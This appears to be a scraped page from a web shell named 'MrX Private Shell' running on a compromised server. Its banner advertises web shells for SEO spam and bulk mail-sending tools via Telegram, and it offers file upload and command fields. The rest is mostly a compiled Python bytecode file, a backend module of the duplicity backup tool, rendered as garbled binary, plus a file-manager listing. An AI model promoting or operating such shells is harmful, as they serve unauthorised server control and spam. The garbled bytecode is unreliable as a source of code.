__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

��g�2��d�SSKrSSKrSSKJr SSKJr "SS\RR5r\RRS\5 \RRS\5 \RRS\5 \RRR/S	Q5 g)
�N)�log)�BackendExceptionc�N�\rSrSrSrSrSrSrSrSr	Sr
S	rS
rSr
Srg
)�PyDriveBackend�z)Connect to remote store using PyDrive APIc�0
^�[RRRX5 [R
"S5 SSKnSSKJn 0UlSUl
SUR;a-URSSUl
SURSSS.UlSS	KJn SS
KJn SSKJnJn SS
KJn	 SUlS[<R>;a�[<R>SnUR0(a#W	"UR@S-URB-USS9n
O=WRDRGU5nW
"UR@S-URB-USS9n
U
RIURK55 U"SS9nX�l&GO-S[<R>;a)U"[<R>SSS9nURO5 O�S[<R>;a�S[<R>;a�U"SS9nURQ[<R>S5 URS[<R>S5 URLcURO5 O2URT(aURW5 OURY5 UR[[<R>S5 O[S5eU"U5Ul.UR(a
URnO�UR\R_SS05Ra5nU(aUSSSSnOHUR\RcS S!05nURe5 USSSnURg5 URhRkS"5nUGH
mT(dM
SS#US$30nURmUR5 UR\R_U5Ra5n[oU4S%jU5S5nUc�TS&SU0/S'.nUSSRmUR5 URmUR5 UR\RcU5nUR(aUReS(S0S)9 OURe5 USnGM
 UUl80Ul9g![an[S[U535eSnAff=f![an[S[U535eSnAff=f![2anSSKJn
 SSKJn SUlSnAGNVSnAff=f)*Nz�

The PyDrive backend is now deprecated and will be removed in a future version.
It has been replaced by the GDrive backend.  See the manpage for details.


r)�buildz|PyDrive backend requires PyDrive2 and Google API client installation.
Please read the manpage for setup details.
Exception: �driveID�	teamDriveT)�corpora�teamDriveId�includeTeamDriveItems�supportsTeamDrives)�
GoogleAuth)�GoogleDrive��ApiRequestError�FileNotUploadedErrorzfPyDrive backend requires PyDrive2 installation.
Please read the manpage for setup details.
Exception: )�SignedJwtAssertionCredentials)�ServiceAccountCredentials)�cryptF�GOOGLE_DRIVE_ACCOUNT_KEY�@z%https://www.googleapis.com/auth/drive)�scopes�<)�http_timeout�GOOGLE_DRIVE_SETTINGS)�
settings_filer�GOOGLE_SECRETS_FILE�GOOGLE_CREDENTIALS_FILEzoGOOGLE_DRIVE_ACCOUNT_KEY or GOOGLE_DRIVE_SETTINGS environment variable not set. Please read the manpage to fix.�qz#'Root' in parents and trashed=false�parents�id�title�i_am_in_root�/�'�' in parents and trashed=falsec3�T># �UHnUST:XdMUSS:XdMUv� M g7f)r$�mimeType�"application/vnd.google-apps.folderN�)�.0�item�folder_names  ��C/usr/lib/python3/dist-packages/duplicity/backends/pydrivebackend.py�	<genexpr>�*PyDriveBackend.__init__.<locals>.<genexpr>�s9����� )���G�}��3��8<�Z�8H�Lp�8p��D� )�s�
(�(�	(r+)r$r*r"r��param):�	duplicity�backend�Backend�__init__r�Warn�httplib2�apiclient.discoveryr	�ImportErrorr�str�
api_params�shared_drive_id�
query_args�
pydrive2.authr�pydrive2.driver�pydrive2.filesrr�oauth2client.clientr�	oldClient�	Exception�oauth2client.service_accountr�oauth2clientr�os�environ�username�hostname�Signer�from_string�	authorize�Http�credentials�CommandLineAuth�LoadClientConfigFile�LoadCredentialsFile�access_token_expired�Refresh�	Authorize�SaveCredentialsFile�drive�ListFile�GetList�
CreateFile�Upload�Delete�path�split�update�next�folder�id_cache)�self�
parsed_urlr:r	�errrrrrr�account_keyrQ�signer�gauth�parent_folder_id�	file_list�file_in_root�folder_names�list_file_argsrc�create_file_argsr/s                       @r0r8�PyDriveBackend.__init__s�������!�!�*�*�4�<����
^�	
�
	��1����#����
�-�-�-�#-�#8�#8��#C�A�#F�D� �&�#�3�3�)-�&*�	�D�O�	�0�2�
�	#�I�!�D�N�&����3��*�*�%?�@�K��~�~�;��'�'�#�-�
�0C�0C�C��B������1�1�+�>��7��'�'�#�-�
�0C�0C�C��B���

�!�!�(�-�-�/�2��B�/�E� +��
$��
�
�
2��R�Z�Z�8O�-P�_a�b�E��!�!�#�
"�b�j�j�
0�5N�RT�R\�R\�5\��B�/�E��&�&�r�z�z�2G�'H�I��%�%�b�j�j�1J�&K�L�� � �(��%�%�'��+�+��
�
�����!��%�%�b�j�j�1J�&K�L�"�D��
�!��'��
����#�3�3���
�
�+�+�S�2W�,X�Y�a�a�c�I��#,�Q�<�	�#:�1�#=�d�#C� �#�z�z�4�4�g�~�5N�O���#�#�%�#/�	�#:�1�#=�d�#C� ��#�#�%�"���,�,�S�1��'�K���!�Q�'7�&8�8V�#W�X�N��!�!�$�/�/�2��
�
�+�+�N�;�C�C�E�I��� )��
�
�F��~�(� D�!%�'7� 8�9�$� �
!��+�A�.�5�5�d�o�o�F� �'�'����8����.�.�/?�@���'�'��M�M�)=�t�(D�M�E��M�M�O�%�d�|��7(�8'�����
��A�	�"��!�!�f�X�'��
��	��6�	�"��!�!�f�X�'��
��	���	#�N�*�"�D�N�N��		#�sH�
R�S�-
S-�
S�%R<�<S�
S*�S%�%S*�-
T�7T�Tc��SSKJn [R"U5nXR;a�URUnUR
R
SU05nUSU:XaMUSS(d@USH7nUSUR:XdM[R"SUS	US
35 Us $ [R"SUS
US35 URU	SUSURS3nSnXxS.n	U	RUR5 UR
RU	5R!5n
[#U
5S:�a$[R$"['S5U4-5 OFU
(a?U
SSnU
SSURU'[R"SUS	US35 U
S$[R"SUS35 g!Ua3nURSRRS:waeSnAGNOSnAff=f)Nr)rr#r$�labels�trashedr"zPyDrive backend: found file 'z
' with id z in ID cachei�zPyDrive backend: invalidating 'z' (previously ID z) from ID cacheztitle='z' and 'r(z>items(title,id,fileSize,downloadUrl,exportLinks),nextPageToken�r!�fields�z,PyDrive backend: multiple files called '%s'.z on server, adding to cachezPyDrive backend: file 'z!' not found in cache or on server)rCrrI�fsdecoderdrYr\rcr�Info�args�resp�statusrar>rZr[�len�
FatalError�_)re�filenamer�file_id�
drive_file�parent�errorr!rvro�flists           r0�file_by_name�PyDriveBackend.file_by_name�s���2��;�;�x�(���}�}�$��m�m�H�-�G����.�.��g��?�J�	
��g�&�(�2�:�h�;O�PY�;Z�",�Y�"7��!�$�<�4�;�;�6��H�H�'D�X�J�j�Y`�Xa�am�%n�o�#-�-�#8�
�H�H�6�x�j�@Q�RY�QZ�Zi�j�k��
�
�h�'��h�Z�w�t�{�{�m�3Q�R��Q�� �3�����d�o�o�.��
�
�#�#�N�3�;�;�=���u�:��>��N�N�1�K�L�PX�{�Z�[�
��A�h�t�n�G�&+�A�h�t�n�D�M�M�(�#��H�H�4�X�J�j��	�Ql�m�n���8�O����*�8�*�4U�V�W���/#�
��:�:�a�=�%�%�,�,��3��4��
�s$�/G
� G
�-G
�
H�(G>�>Hc�6�URU5nUcgUS$)N�r#)r�)rer�r�s   r0�
id_by_name�PyDriveBackend.id_by_name�s&���&�&�x�0�
�����d�#�#�c�T�[R"U5nURU5nUcjUSURS./S.nUSSR	UR
5 URRU5n[R"SUS35 O [R"SUS	US
S35 UR[R"UR55 UR(aURSS0S
9 OUR5 US
URU'g)Nzdrive#fileLink)�kindr#)r$r"r"rz$PyDrive backend: creating new file 'r'z*PyDrive backend: replacing existing file 'z' with id 'r#rTr3)rIrxr�rcrar>rYr\rry�SetContentFile�namer?r]rd)re�source_path�remote_filenamer�rps     r0�_put�PyDriveBackend._put�s���+�+�o�6���&�&��7�
���)�%5�T�[�[�I�J� ��
�Y�'��*�1�1�$�/�/�B����.�.�/?�@�J��H�H�;�O�;L�A�N�O��H�H�A�/�AR�R]�^h�im�^n�]o�op�q�r��!�!�"�+�+�k�.>�.>�"?�@�������%9�4�$@��A�����)3�D�)9��
�
�o�&r�c��URU5nUR[R"UR55 g)N)r��GetContentFilerIrxr�)rer��
local_pathr�s    r0�_get�PyDriveBackend._get�s-���&�&��7�
��!�!�"�+�+�j�o�o�">�?r�c��SURS3SS.nURUR5 URR	U5R5n[
SU55n[URR55H/nXC;dM
URU5cMURU5 M1 [U5$)Nr'r(zitems(title,id),nextPageTokenruc3�*# �UH	oSv� M g7f)r$Nr,)r-r.s  r0r1�'PyDriveBackend._list.<locals>.<genexpr>�s���>�+�$�W�
�+�s�)rcrar>rYrZr[�set�listrd�keysr��add)rero�drive_files�	filenamesr�s     r0�_list�PyDriveBackend._list�s����T�[�[�M�!?�@�5�
��	���d�o�o�.��j�j�)�)�.�9�A�A�C���>�+�>�>�	�
�T�]�]�/�/�1�2�H��)��0A�0A�(�0K�0W��
�
�h�'�3��I��r�c���URU5nUS:Xa/[R"S[R"U5S35 gUR
(aMURRRR5RUSS0S9R5 gURRRR5RUS9R5 g)Nr�zFile 'z*' does not exist while trying to delete itrT)�fileIdr4)r�)r�rr9rIrxr?rY�auth�service�files�delete�execute)rer�r�s   r0�_delete�PyDriveBackend._deletes����/�/�(�+���b�=��H�H�v�b�k�k�(�3�4�4^�_�`�
�
!�
!��J�J�O�O�#�#�)�)�+�2�2�'�J^�`d�Ie�2�f�n�n�p��J�J�O�O�#�#�)�)�+�2�2�'�2�B�J�J�Lr�c�Z�URU5nUcSnSU0$[US5nSU0$)N����fileSize�size)r��int)rer�r�r�s    r0�_query�PyDriveBackend._querysD���&�&�x�0�
����D���~���z�*�-�.�D���~�r�c���SSKJnJn [X$5(a[R
R$[X#5(a[R
R$[R
R$)Nrr)	rCrr�
isinstancer�	ErrorCode�backend_not_found�backend_permission_denied�
backend_error)re�	operationr�rrs     r0�_error_code�PyDriveBackend._error_codesO��	
�
�e�2�2��=�=�2�2�2�
��
/�
/��=�=�:�:�:��}�}�*�*�*r�)r>rYrcrdrEr?N)�__name__�
__module__�__qualname__�__firstlineno__�__doc__r8r�r�r�r�r�r�r�r��__static_attributes__r,r�r0rrs7��3�K�Z'�R$�:�*@��"M��
+r�r�pydrive�
pydrive+gdocs�gdocs)r�r�r�)rI�duplicity.backendr5r�duplicity.errorsrr6r7r�register_backend�uses_netloc�extendr,r�r0�<module>r�s���(
���-�E+�Y�&�&�.�.�E+�P
���"�"�9�n�=�3�	���"�"�?�N�C�;�	���"�"�7�N�;�	�����$�$�%J�Kr�

Filemanager

Name Type Size Permission Actions
__init__.cpython-313.pyc File 379 B 0644
_cf_cloudfiles.cpython-313.pyc File 5.1 KB 0644
_cf_pyrax.cpython-313.pyc File 6.79 KB 0644
_testbackend.cpython-313.pyc File 16.5 KB 0644
adbackend.cpython-313.pyc File 18.76 KB 0644
azurebackend.cpython-313.pyc File 6.79 KB 0644
b2backend.cpython-313.pyc File 11.74 KB 0644
boxbackend.cpython-313.pyc File 9.21 KB 0644
cfbackend.cpython-313.pyc File 665 B 0644
dpbxbackend.cpython-313.pyc File 24.58 KB 0644
gdocsbackend.cpython-313.pyc File 10.15 KB 0644
gdrivebackend.cpython-313.pyc File 15.64 KB 0644
giobackend.cpython-313.pyc File 9.93 KB 0644
hsibackend.cpython-313.pyc File 3.42 KB 0644
hubicbackend.cpython-313.pyc File 2.76 KB 0644
idrivedbackend.cpython-313.pyc File 23.25 KB 0644
imapbackend.cpython-313.pyc File 12.94 KB 0644
jottacloudbackend.cpython-313.pyc File 7.04 KB 0644
lftpbackend.cpython-313.pyc File 12.44 KB 0644
localbackend.cpython-313.pyc File 4.08 KB 0644
mediafirebackend.cpython-313.pyc File 6.07 KB 0644
megabackend.cpython-313.pyc File 8.47 KB 0644
megav2backend.cpython-313.pyc File 10.2 KB 0644
megav3backend.cpython-313.pyc File 11.81 KB 0644
multibackend.cpython-313.pyc File 14.88 KB 0644
ncftpbackend.cpython-313.pyc File 7.3 KB 0644
onedrivebackend.cpython-313.pyc File 17.76 KB 0644
par2backend.cpython-313.pyc File 11.9 KB 0644
pcabackend.cpython-313.pyc File 15.11 KB 0644
pydrivebackend.cpython-313.pyc File 14.04 KB 0644
rclonebackend.cpython-313.pyc File 6.53 KB 0644
rsyncbackend.cpython-313.pyc File 7.66 KB 0644
s3_boto3_backend.cpython-313.pyc File 11.21 KB 0644
slatebackend.cpython-313.pyc File 7.49 KB 0644
ssh_paramiko_backend.cpython-313.pyc File 23.04 KB 0644
ssh_pexpect_backend.cpython-313.pyc File 14.37 KB 0644
swiftbackend.cpython-313.pyc File 12.88 KB 0644
sxbackend.cpython-313.pyc File 2.87 KB 0644
tahoebackend.cpython-313.pyc File 3.64 KB 0644
webdavbackend.cpython-313.pyc File 25.74 KB 0644
xorrisobackend.cpython-313.pyc File 16.46 KB 0644
Filemanager